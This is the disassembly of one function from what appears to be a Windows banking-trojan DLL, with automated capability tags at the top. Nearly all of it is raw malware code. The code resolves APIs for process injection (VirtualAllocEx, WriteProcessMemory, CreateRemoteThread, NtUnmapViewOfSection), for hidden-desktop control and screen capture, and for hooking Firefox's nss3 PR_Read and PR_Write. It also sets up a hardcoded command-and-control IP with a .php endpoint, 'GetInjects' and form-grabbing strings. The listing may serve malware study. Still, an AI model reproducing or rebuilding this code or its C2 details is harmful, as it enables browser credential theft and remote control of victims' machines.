Function at 0x18000286c
Capabilities:
Compress data via winapi
Reference http user-agent string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
lea rax, str.176.111.174.140
lea r11, str.Kernel32.dll
lea rbx, [0x180032890]
mov qword [0x180042c90], rax
mov qword [0x180042c98], rax
lea rax, str._GrXRYWt.php
mov qword [0x180042c88], rax
lea rax, str.User32.dll
mov qword [0x180043098], r11
mov qword [0x180043090], rax
lea rax, str.KernelBase.dll
mov qword [0x180043178], rbx
mov qword [0x1800430a0], rax
lea rax, str.msvcrt.dll
mov qword [0x1800430a8], rax
lea rax, str.ntdll.dll
mov qword [0x1800430b0], rax
lea rax, str.Shlwapi.dll
mov qword [0x1800430b8], rax
lea rax, str.Shell32.dll
mov qword [0x1800430c0], rax
lea rax, str.Secur32.dll
mov qword [0x1800430c8], rax
lea rax, str.Advapi32.dll
mov qword [0x1800430d0], rax
lea rax, str.ws2_32.dll
mov qword [0x1800430d8], rax
lea rax, str.version.dll
mov qword [0x1800430e0], rax
lea rax, str.Psapi.dll
mov qword [0x1800430e8], rax
lea rax, str.wininet.dll
mov qword [0x1800430f0], rax
lea rax, str.gdi32.dll
mov qword [0x1800430f8], rax
lea rax, str.:Zone.Identifier
mov qword [0x1800439d8], rax
lea rax, str.MessageBoxA
mov qword [0x180043128], rax
lea rax, str.GetWindowsDirectoryA
mov qword [0x180043130], rax
lea rax, [0x1800327f0]
mov qword [0x180043120], rax
lea rax, str.LocalAlloc
mov qword [0x180043138], rax
lea rax, str.wsprintfA
mov qword [0x180043140], rax
lea rax, [0x180032828]
mov qword [0x180043148], rax
lea rax, str.free
mov qword [0x180043158], rax
lea rax, str.VirtualAllocEx
mov qword [0x180043160], rax
lea rax, str.WriteProcessMemory
mov qword [0x180043168], rax
lea rax, str.CreateRemoteThread
mov qword [0x180043170], rax
lea rax, [0x1800328a0]
mov qword [0x180043180], rax
lea rax, str.PathRemoveFileSpecA
mov qword [0x180043188], rax
lea rax, [0x1800328c8]
mov qword [0x180043190], rax
lea rax, str.PathFindFileNameA
mov qword [0x180043198], rax
lea rax, str.strncmp
mov qword [0x1800431a0], rax
lea rax, str._strnicmp
mov qword [0x1800431a8], rax
lea rax, [0x180032910]
mov qword [0x1800431b0], rax
lea rax, [0x180032920]
mov qword [0x1800431b8], rax
lea rax, str.SHGetFolderPathA
mov qword [0x1800431c0], rax
lea rax, str.lstrcpyA
mov qword [0x1800431c8], rax
lea rax, [0x180032958]
mov qword [0x1800431d0], rax
lea rax, str.CopyFileA
mov qword [0x1800431d8], rax
lea rax, str.GetVolumeInformationA
mov qword [0x1800431e0], rax
lea rax, str.GetUserNameExA
mov qword [0x1800431e8], rax
lea rax, str.LookupAccountNameA
mov qword [0x1800431f0], rax
lea rax, str.ConvertSidToStringSidA
mov qword [0x1800431f8], rax
lea rax, str.LocalFree
mov qword [0x180043200], rax
lea rax, str.malloc
mov qword [0x180043150], rax
lea rax, str.lstrcmpiA
mov qword [0x180043210], rax
lea rax, str.lstrcmpA
mov qword [0x180043218], rax
lea rax, str.StrStrA
mov qword [0x180043220], rax
lea rax, str.StrStrIA
mov qword [0x180043228], rax
lea rax, str.strtol
mov qword [0x180043230], rax
lea rax, str.realloc
mov qword [0x180043238], rax
lea rax, str.WSAStartup
mov qword [0x180043240], rax
lea rax, str.socket
mov qword [0x180043248], rax
lea rax, str.gethostbyname
mov qword [0x180043250], rax
lea rax, str.htons
mov qword [0x180043258], rax
lea rax, str.connect
mov qword [0x180043260], rax
lea rax, str.send
mov qword [0x180043268], rax
lea rax, str.recv
mov qword [0x180043270], rax
lea rax, str.closesocket
mov qword [0x180043278], rax
lea rax, str.WSACleanup
mov qword [0x180043280], rax
lea rax, str.memset
mov qword [0x180043288], rax
lea rax, str.memcpy
mov qword [0x180043208], rax
lea rax, [0x180032a9c]
mov qword [0x180043290], rax
lea rax, str.NtOpenKey
mov qword [0x180043298], rax
lea rax, str.NtSetValueKey
mov qword [0x1800432a8], rax
lea rax, [0x180032ac8]
mov qword [0x1800432a0], rax
lea rax, str.CreateProcessA
mov qword [0x1800432b0], rax
lea rax, str.NtCreateThreadEx
mov qword [0x180043448], rax
lea rax, [0x180032b00]
mov qword [0x180043450], rax
lea rax, str.FindWindowA
mov qword [0x180043458], rax
lea rax, str.NtUnmapViewOfSection
mov qword [0x1800435d8], rax
lea rax, str.NtQueryInformationProcess
mov qword [0x1800435e0], rax
lea rax, [0x180032b60]
mov qword [0x1800435e8], rax
lea rax, [0x180032b78]
mov qword [0x1800435f0], rax
lea rax, str.SHFileOperationA
mov qword [0x1800435f8], rax
lea rax, str.FindFirstFileA
mov qword [0x180043600], rax
lea rax, str.FindNextFileA
mov qword [0x180043608], rax
lea rax, str.GetWindowThreadProcessId
mov qword [0x180043460], rax
lea rax, str.InitializeCriticalSection
mov qword [0x1800432c8], rax
lea rax, [0x180032c08]
mov qword [0x1800432d0], rax
lea rax, [0x180032c18]
mov qword [0x1800432b8], rax
lea rax, [0x180032c30]
mov qword [0x1800432c0], rax
lea rax, str._errno
mov qword [0x1800432d8], rax
lea rax, str.tolower
mov qword [0x1800432e0], rax
lea rax, str.isdigit
mov qword [0x1800432e8], rax
lea rax, str.strtoul
mov qword [0x1800432f0], rax
lea rax, str.isxdigit
mov qword [0x1800432f8], rax
lea rax, str.strtod
mov qword [0x180043300], rax
lea rax, [0x180032c80]
mov qword [0x180043308], rax
lea rax, str.Process32First
mov qword [0x180043310], rax
lea rax, str.Process32Next
mov qword [0x180043318], rax
lea rax, str.StrChrA
mov qword [0x180043320], rax
lea rax, str.StrToIntA
mov qword [0x180043328], rax
lea rax, [0x180032cd8]
mov qword [0x180043330], rax
lea rax, str.GetFileVersionInfoSizeA
mov qword [0x180043338], rax
lea rax, str.GetFileVersionInfoA
mov qword [0x180043340], rax
lea rax, str.VerQueryValueA
mov qword [0x180043348], rax
lea rax, str.GetModuleInformation
mov qword [0x180043350], rax
lea rax, str.memcmp
mov qword [0x180043358], rax
lea rax, str.ExpandEnvironmentStringsA
mov qword [0x180043360], rax
lea rax, str.GetPrivateProfileSectionNamesA
mov qword [0x180043368], rax
lea rax, str.GetPrivateProfileStringA
mov qword [0x180043370], rax
lea rax, [0x180032db0]
mov qword [0x180043378], rax
lea rax, [0x180032dc0]
mov qword [0x180043380], rax
lea rax, [0x180032dd0]
mov qword [0x180043388], rax
lea rax, str.RegSetValueExA
mov qword [0x180043390], rax
lea rax, [0x180032df0]
mov qword [0x180043398], rax
lea rax, [0x180032e00]
mov qword [0x1800433a0], rax
lea rax, [0x180032e10]
mov qword [0x1800433a8], rax
lea rax, [0x180032e20]
mov qword [0x1800433b0], rax
lea rax, str.IsWow64Process
mov qword [0x1800433b8], rax
lea rax, str.GetNativeSystemInfo
mov qword [0x1800433c0], rax
lea rax, str.OpenProcess
mov qword [0x1800433c8], rax
lea rax, [0x180032e68]
mov qword [0x1800433d0], rax
lea rax, str.GetUserNameW
mov qword [0x1800433d8], rax
lea rax, str.GetComputerNameW
mov qword [0x1800433e0], rax
lea rax, str.GetVersionExA
mov qword [0x1800433e8], rax
lea rax, str.CreateNamedPipeA
mov qword [0x1800433f0], rax
lea rax, str.ConnectNamedPipe
mov qword [0x1800433f8], rax
lea rax, str.DisconnectNamedPipe
mov qword [0x180043400], rax
lea rax, str.InternetCrackUrlA
mov qword [0x180043408], rax
lea rax, str.GetTempPathA
mov qword [0x180043410], rax
lea rax, str.GetTempFileNameA
mov qword [0x180043418], rax
lea rax, str.ShellExecuteA
mov qword [0x180043420], rax
lea rax, str.ioctlsocket
mov qword [0x180043428], rax
lea rax, str.ntohs
mov qword [0x180043430], rax
lea rax, str.CreateMutexA
mov qword [0x180043438], rax
lea rax, str.ReleaseMutex
mov qword [0x180043440], rax
lea rax, str.WaitForSingleObject
mov qword [0x180043468], rax
lea rax, str.EnumWindows
mov qword [0x180043470], rax
lea rax, [0x180032fa8]
mov qword [0x180043478], rax
lea rax, str.DeleteFileA
mov qword [0x180043480], rax
lea rax, str.PathFileExistsA
mov qword [0x180043488], rax
lea rax, str.CreateDirectoryA
mov qword [0x180043490], rax
lea rax, str.HttpQueryInfoA
mov qword [0x180043498], rax
lea rax, str.HttpQueryInfoW
mov qword [0x1800434a0], rax
lea rax, str.RtlCompressBuffer
mov qword [0x1800434a8], rax
lea rax, str.RtlGetCompressionWorkSpaceSize
mov qword [0x1800434b0], rax
lea rax, str.SetThreadDesktop
mov qword [0x1800434b8], rax
lea rax, str.CreateDesktopA
mov qword [0x1800434c0], rax
lea rax, str.OpenDesktopA
mov qword [0x1800434c8], rax
lea rax, str.TerminateThread
mov qword [0x1800434d0], rax
lea rax, str.PostMessageA
mov qword [0x1800434d8], rax
lea rax, str.SendMessageA
mov qword [0x1800434e0], rax
lea rax, str.ChildWindowFromPoint
mov qword [0x1800434e8], rax
lea rax, str.ScreenToClient
mov qword [0x1800434f0], rax
lea rax, str.MoveWindow
mov qword [0x1800434f8], rax
lea rax, str.GetWindowRect
mov qword [0x180043500], rax
lea rax, str.GetMenuItemID
mov qword [0x180043508], rax
lea rax, str.MenuItemFromPoint
mov qword [0x180043510], rax
lea rax, str.RealGetWindowClassA
mov qword [0x180043518], rax
lea rax, str.PtInRect
mov qword [0x180043520], rax
lea rax, str.GetWindowPlacement
mov qword [0x180043528], rax
lea rax, str.SetWindowLongA
mov qword [0x180043530], rax
lea rax, str.GetWindowLongA
mov qword [0x180043538], rax
lea rax, str.WindowFromPoint
mov qword [0x180043540], rax
lea rax, str.SHAppBarMessage
mov qword [0x180043548], rax
lea rax, [0x1800331a8]
mov qword [0x180043550], rax
lea rax, str.GetDesktopWindow
mov qword [0x180043558], rax
lea rax, str.DeleteDC
mov qword [0x180043560], rax
lea rax, str.ReleaseDC
mov qword [0x180043568], rax
lea rax, str.DeleteObject
lea r8, str.Content_Length
mov qword [0x180043570], rax
lea rax, str.GetDIBits
lea rdx, str.Transfer_Encoding
mov qword [0x180043578], rax
lea rax, str.StretchBlt
lea r10, [0x1800333e8]
mov qword [0x180043580], rax
lea rax, str.SetStretchBltMode
lea r9, str.Firefox
mov qword [0x180043588], rax
lea rax, str.SelectObject
lea rcx, str._r_nContent_Length:
mov qword [0x180043590], rax
lea rax, str.CreateCompatibleDC
mov qword [0x180043690], r10
mov qword [0x180043598], rax
lea rax, str.CreateCompatibleBitmap
mov qword [0x180043698], r8
mov qword [0x1800435a0], rax
lea rax, str.GetDC
mov qword [0x1800436a0], rdx
mov qword [0x1800435a8], rax
lea rax, str.IsWindowVisible
mov qword [0x180043720], r9
mov qword [0x1800435b0], rax
lea rax, str.GetWindow
mov qword [0x180043760], rcx
mov qword [0x1800435b8], rax
lea rax, str.PrintWindow
mov qword [0x180043778], r8
mov qword [0x1800435c8], rax
lea rax, str.GetTopWindow
mov qword [0x180043780], rdx
mov qword [0x1800435d0], rax
lea rax, str..exe
mov qword [0x180043648], rax
lea rax, [0x1800332d0]
mov qword [0x180043650], rax
lea rax, [0x1800332d4]
mov qword [0x180043658], rax
lea rax, str.GET
mov qword [0x180043660], rax
lea rax, str._HTTP_1.1_r_n
mov qword [0x180043668], rax
lea rax, str.Host:
mov qword [0x180043670], rax
lea rax, str._r_nPragma:_no_cache_r_nContent_type:_text_html_r_nConnection:_close_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_109.0.0.0_Safari_537.3_r_n
mov qword [0x180043678], rax
lea rax, str.Content_Length:
mov qword [0x180043680], rax
lea rax, str.HTTP_1.1_200_OK
mov qword [0x180043688], rax
lea rax, str.chunked
mov qword [0x1800436a8], rax
lea rax, [0x1800326a8]
mov qword [0x1800436b0], rax
lea rax, [0x180033420]
mov qword [0x1800436b8], rax
lea rax, str.ping
mov qword [0x1800436d8], rax
lea rax, str.firefox.exe
mov qword [0x1800436f8], rax
lea rax, str.GetInjects
mov qword [0x180043710], rax
lea rax, str.nss3.dll
mov qword [0x180043738], rax
lea rax, str.PR_Read
mov qword [0x180043748], rax
lea rax, str.PR_Write
mov qword [0x180043750], rax
lea rax, str.Accept_Encoding
mov qword [0x180043768], rax
lea rax, str.identity
mov qword [0x180043770], rax
lea rax, str.Connection
mov qword [0x180043788], rax
lea rax, str.close
mov qword [0x180043790], rax
lea rax, str._r_nContent_Type:
mov qword [0x1800437b0], rcx
mov rcx, r11
mov qword [0x180043798], rax
lea rax, str.text_html
mov qword [0x1800437d0], r10
mov qword [0x1800437a0], rax
lea rax, str._r_nLocation:
mov qword [0x180043868], r9
mov qword [0x1800437a8], rax
lea rax, str._r_n_r_n
mov qword [0x1800437c0], rax
lea rax, str._r_n_s:__r_n
mov qword [0x1800437c8], rax
lea rax, str._r_nHost:
mov qword [0x1800437d8], rax
lea rax, str.http_s_:__
mov qword [0x1800437e0], rax
lea rax, str._s_s_s_d
mov qword [0x1800437e8], rax
lea rax, str.form_s_s_s_d
mov qword [0x1800437f0], rax
lea rax, str.info_d_d_d_d_s_s_d_d
mov qword [0x180043990], rax
lea rax, str.Mozilla
mov qword [0x180043860], rax
lea rax, [0x18003250e]
mov qword [0x1800439e8], rax
lea rax, str..pipe_s
mov qword [0x180043998], rax
lea rax, str.open
mov qword [0x1800439a0], rax
lea rax, str.Shell_TrayWnd
mov qword [0x1800439b0], rax
lea rax, str.verclsid.exe
mov qword [0x1800439b8], rax
lea rax, [0x1800335c8]
mov qword [0x1800439c0], rax
lea rax, [0x1800335cc]
mov qword [0x1800439c8], rax
lea rax, str.child.dll
mov qword [0x1800439d0], rax
lea rax, str.Trusteer
mov qword [0x1800439e0], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x180043090]
mov qword [0x1800427f0], rax
call rax
mov rcx, qword [0x180043098]
mov qword [rsp + 0x88], rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430a8]
mov qword [rsp + 0x80], rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430b0]
mov rbp, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430b8]
mov qword [rsp + 0x98], rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430c0]
mov r12, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430c8]
mov qword [rsp + 0x90], rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430d0]
mov rbx, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430d8]
mov r13, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430e0]
mov r14, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430e8]
mov rdi, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430f0]
mov rsi, rax
call qword [0x1800427f0]
mov rcx, qword [0x1800430f8]
mov r15, rax
call qword [0x1800427f0]
mov rdx, qword [0x180043180]
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x180043128]
mov rcx, qword [rsp + 0x88]
mov qword [0x1800427f8], rax
call rax
mov rdx, qword [0x180043130]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042798], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043120]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427a0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043138]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427a8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043140]
mov rcx, qword [rsp + 0x88]
mov qword [0x1800427b0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043148]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427b8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043150]
mov rcx, rbp
mov qword [0x1800427c0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043158]
mov rcx, rbp
mov qword [0x1800427c8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043160]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427d0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043168]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427d8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043170]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800427e0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043188]
mov rcx, r12
mov qword [0x1800427e8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043190]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042800], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043198]
mov rcx, r12
mov qword [0x180042808], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431a0]
mov rcx, rbp
mov qword [0x180042810], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431a8]
mov rcx, rbp
mov qword [0x180042818], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042820], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042828], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431c0]
mov rcx, qword [rsp + 0x90]
mov qword [0x180042830], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042838], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042840], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431d8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042848], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431e0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042850], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431e8]
mov rcx, rbx
mov qword [0x180042858], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431f0]
mov rcx, r13
mov qword [0x180042860], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800431f8]
mov rcx, r13
mov qword [0x180042868], rax
call qword [0x1800427f8]
mov rbx, qword [rsp + 0x80]
mov rdx, qword [0x180043200]
mov rcx, rbx
mov qword [0x180042870], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043208]
mov rcx, rbp
mov qword [0x180042878], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043218]
mov rcx, rbx
mov qword [0x180042880], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043210]
mov rcx, rbx
mov qword [0x180042890], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043220]
mov rcx, r12
mov qword [0x180042888], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043228]
mov rcx, r12
mov qword [0x180042898], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043230]
mov rcx, rbp
mov qword [0x1800428a0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043238]
mov rcx, rbp
mov qword [0x1800428a8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043240]
mov rcx, r14
mov qword [0x1800428b0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043248]
mov rcx, r14
mov qword [0x1800428b8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043250]
mov rcx, r14
mov qword [0x1800428c0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043258]
mov rcx, r14
mov qword [0x1800428c8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043260]
mov rcx, r14
mov qword [0x1800428d0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043268]
mov rcx, r14
mov qword [0x1800428d8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043270]
mov rcx, r14
mov qword [0x1800428e0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043278]
mov rcx, r14
mov qword [0x1800428e8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043280]
mov rcx, r14
mov qword [0x1800428f0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043288]
mov rcx, rbp
mov qword [0x1800428f8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043290]
mov rcx, rbx
mov qword [0x180042900], rax
call qword [0x1800427f8]
mov rbx, qword [rsp + 0x98]
mov rdx, qword [0x180043298]
mov rcx, rbx
mov qword [0x180042908], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432a8]
mov rcx, rbx
mov qword [0x180042910], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432a0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042918], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043638]
mov rcx, rbx
mov qword [0x180042790], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432b0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042920], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432c8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042928], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432b8]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042930], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432c0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042940], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432d0]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042938], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432d8]
mov rcx, rbp
mov qword [0x180042948], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432e0]
mov rcx, rbp
mov qword [0x180042950], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432e8]
mov rcx, rbp
mov qword [0x180042958], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800432f0]
mov qword [0x180042960], rax
mov rcx, rbp
call qword [0x1800427f8]
mov rdx, qword [0x1800432f8]
mov rcx, rbp
mov qword [0x180042968], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043300]
mov rcx, rbp
mov qword [0x180042970], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043308]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042978], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043310]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042980], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043318]
mov rcx, qword [rsp + 0x80]
mov qword [0x180042988], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043320]
mov rcx, r12
mov qword [0x180042990], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043328]
mov rcx, r12
mov qword [0x180042998], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043330]
mov rcx, qword [rsp + 0x80]
mov qword [0x1800429a0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043338]
mov rcx, rdi
mov qword [0x1800429a8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043340]
mov rcx, rdi
mov qword [0x1800429b0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043348]
mov rcx, rdi
mov qword [0x1800429b8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043350]
mov rcx, rsi
mov qword [0x1800429c0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043358]
mov rcx, rbp
mov qword [0x1800429c8], rax
call qword [0x1800427f8]
mov rbp, qword [rsp + 0x80]
mov rdx, qword [0x180043360]
mov rcx, rbp
mov qword [0x1800429d0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043368]
mov rcx, rbp
mov qword [0x1800429d8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043370]
mov rcx, rbp
mov qword [0x1800429e0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043378]
mov rcx, rbp
mov qword [0x1800429e8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043380]
mov rcx, rbp
mov qword [0x1800429f0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043388]
mov rcx, rbp
mov qword [0x1800429f8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043390]
mov qword [0x180042a00], rax
mov rcx, r13
call qword [0x1800427f8]
mov rdx, qword [0x180043398]
mov rcx, r13
mov qword [0x180042a08], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433a0]
mov rcx, r13
mov qword [0x180042a10], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433a8]
mov rcx, rbp
mov qword [0x180042a18], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433b0]
mov rcx, rbp
mov qword [0x180042a20], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433b8]
mov rcx, rbp
mov qword [0x180042a28], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433c0]
mov rcx, rbp
mov qword [0x180042a30], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433c8]
mov rcx, rbp
mov qword [0x180042a38], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433d0]
mov rcx, rbp
mov qword [0x180042a40], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433d8]
mov rcx, r13
mov qword [0x180042a48], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433e0]
mov rcx, rbp
mov qword [0x180042a50], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433e8]
mov rcx, rbp
mov qword [0x180042a58], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433f0]
mov rcx, rbp
mov qword [0x180042a60], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800433f8]
mov rcx, rbp
mov qword [0x180042a68], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043400]
mov rcx, rbp
mov qword [0x180042a70], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043408]
mov rcx, r15
mov qword [0x180042a78], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043410]
mov rcx, rbp
mov qword [0x180042a80], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043418]
mov rcx, rbp
mov qword [0x180042a88], rax
call qword [0x1800427f8]
mov rsi, qword [rsp + 0x90]
mov rdx, qword [0x180043420]
mov rcx, rsi
mov qword [0x180042a90], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043428]
mov rcx, r14
mov qword [0x180042a98], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043430]
mov qword [0x180042aa0], rax
mov rcx, r14
call qword [0x1800427f8]
mov rdx, qword [0x180043438]
mov rcx, rbp
mov qword [0x180042aa8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043440]
mov rcx, rbp
mov qword [0x180042ab0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043448]
mov rcx, rbx
mov qword [0x180042ab8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043450]
mov rcx, rbp
mov qword [0x180042ac0], rax
call qword [0x1800427f8]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [0x180043458]
mov rcx, rdi
mov qword [0x180042ac8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043460]
mov rcx, rdi
mov qword [0x180042ad0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043468]
mov rcx, rbp
mov qword [0x180042ad8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043470]
mov rcx, rdi
mov qword [0x180042ae0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043478]
mov rcx, rbp
mov qword [0x180042ae8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043480]
mov rcx, rbp
mov qword [0x180042af0], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043488]
mov rcx, r12
mov qword [0x180042af8], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043490]
mov rcx, rbp
mov qword [0x180042b00], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043498]
mov rcx, r15
mov qword [0x180042b08], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434a0]
mov rcx, r15
mov qword [0x180042b10], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434a8]
mov rcx, rbx
mov qword [0x180042b18], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434b0]
mov rcx, rbx
mov qword [0x180042b20], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434b8]
mov rcx, rdi
mov qword [0x180042b28], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434c0]
mov rcx, rdi
mov qword [0x180042b30], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434c8]
mov rcx, rdi
mov qword [0x180042b38], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434d0]
mov rcx, rbp
mov qword [0x180042b40], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434d8]
mov rcx, rdi
mov qword [0x180042b48], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434e0]
mov rcx, rdi
mov qword [0x180042b50], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434e8]
mov rcx, rdi
mov qword [0x180042b58], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434f0]
mov rcx, rdi
mov qword [0x180042b60], rax
call qword [0x1800427f8]
mov rdx, qword [0x1800434f8]
mov rcx, rdi
mov qword [0x180042b68], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043500]
mov rcx, rdi
mov qword [0x180042b70], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043508]
mov rcx, rdi
mov qword [0x180042b78], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043510]
mov rcx, rdi
mov qword [0x180042b80], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043518]
mov rcx, rdi
mov qword [0x180042b88], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043520]
mov rcx, rdi
mov qword [0x180042b90], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043528]
mov rcx, rdi
mov qword [0x180042b98], rax
call qword [0x1800427f8]
mov rdx, qword [0x180043538]
mov rcx, rdi
